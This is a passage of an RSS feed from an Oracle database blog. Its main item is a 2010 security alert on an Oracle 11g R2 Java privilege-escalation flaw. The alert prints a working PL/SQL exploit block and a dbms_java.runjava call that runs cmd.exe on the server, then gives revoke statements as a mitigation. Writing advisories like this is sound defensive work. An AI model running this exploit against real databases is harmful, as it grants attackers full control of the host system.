<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/oraclue.wordpress.com/1252/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/oraclue.wordpress.com/1252/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/oraclue.wordpress.com/1252/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/oraclue.wordpress.com/1252/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/oraclue.wordpress.com/1252/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/oraclue.wordpress.com/1252/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/oraclue.wordpress.com/1252/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/oraclue.wordpress.com/1252/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/oraclue.wordpress.com/1252/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/oraclue.wordpress.com/1252/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/oraclue.wordpress.com/1252/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/oraclue.wordpress.com/1252/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/oraclue.wordpress.com/1252/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/oraclue.wordpress.com/1252/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oraclue.com&blog=4867865&post=1252&subd=oraclue&ref=&feed=1" />]]></content:encoded>
			<wfw:commentRss>http://oraclue.com/2010/03/01/dbms_duma_internal/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/93d81c68274d316c3d3c57801cbcd9f2?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">oraclue</media:title>
		</media:content>
	</item>
		<item>
		<title>Oracle Exploit Published 11g R2</title>
		<link>http://oraclue.com/2010/02/05/oracle-exploit-published-11g-r2/</link>
		<comments>http://oraclue.com/2010/02/05/oracle-exploit-published-11g-r2/#comments</comments>
		<pubDate>Fri, 05 Feb 2010 21:43:19 +0000</pubDate>
		<dc:creator>oraclue</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://oraclue.com/?p=1235</guid>
		<description><![CDATA[Just found this alert.. Credit goes to David Litchfield .He found these vulnerabilities .This also affects 11g R2. Overgenerous privileges for Java procedures allow users to escalate their own privileges, up to the point of gaining complete control over the database. Basically  using DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS user can change their privileges in the Java policy table so that [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oraclue.com&blog=4867865&post=1235&subd=oraclue&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<p>Just found this alert..</p>
<p>Credit goes to David Litchfield .He found these vulnerabilities .This also affects 11g R2.</p>
<p>Overgenerous privileges for Java procedures allow users to escalate their own privileges, up to the point of gaining complete control over the database.</p>
<p>Basically  using DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS user can change their privileges in the Java policy table so that the JVM allows them to execute operating system commands and to read and write files.</p>
<p>Here is  code:</p>
<p><strong>DECLARE<br />
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;<br />
CURSOR C1 IS SELECT ‘GRANT’,USER(), ‘SYS’,’java.io.FilePermission’,’&lt;&lt;ALL FILES&gt;&gt;‘,’execute’,’ENABLED’ from dual;<br />
BEGIN<br />
OPEN C1;<br />
FETCH C1 BULK COLLECT INTO POL;<br />
CLOSE C1;<br />
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);<br />
END;<br />
/</strong></p>
<p>After the Java privilege escalation it is possible to <strong>run OS commands </strong>using a simple SELECT statement:</p>
<p>select dbms_java.runjava(’oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c dir&gt;c:\\out.lst’)from dual;</p>
<p>Oracle does not have patch for it yet but you should revoke privileges from PUBLIC for following packages:</p>
<p><strong>revoke execute on DBMS_JVM_EXP_PERMS from public;<br />
revoke execute on DBMS_JAVA from public;<br />
revoke execute on DBMS_JAVA_TEST from  public;</strong></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/oraclue.wordpress.com/1235/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/oraclue.wordpress.com/1235/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/oraclue.wordpress.com/1235/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/oraclue.wordpress.com/1235/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/oraclue.wordpress.com/1235/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/oraclue.wordpress.com/1235/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/oraclue.wordpress.com/1235/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/oraclue.wordpress.com/1235/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/oraclue.wordpress.com/1235/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/oraclue.wordpress.com/1235/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/oraclue.wordpress.com/1235/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/oraclue.wordpress.com/1235/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/oraclue.wordpress.com/1235/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/oraclue.wordpress.com/1235/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oraclue.com&blog=4867865&post=1235&subd=oraclue&ref=&feed=1" />]]></content:encoded>
			<wfw:commentRss>http://oraclue.com/2010/02/05/oracle-exploit-published-11g-r2/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/93d81c68274d316c3d3c57801cbcd9f2?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">oraclue</media:title>
		</media:content>
	</item>
	</channel>
</rss>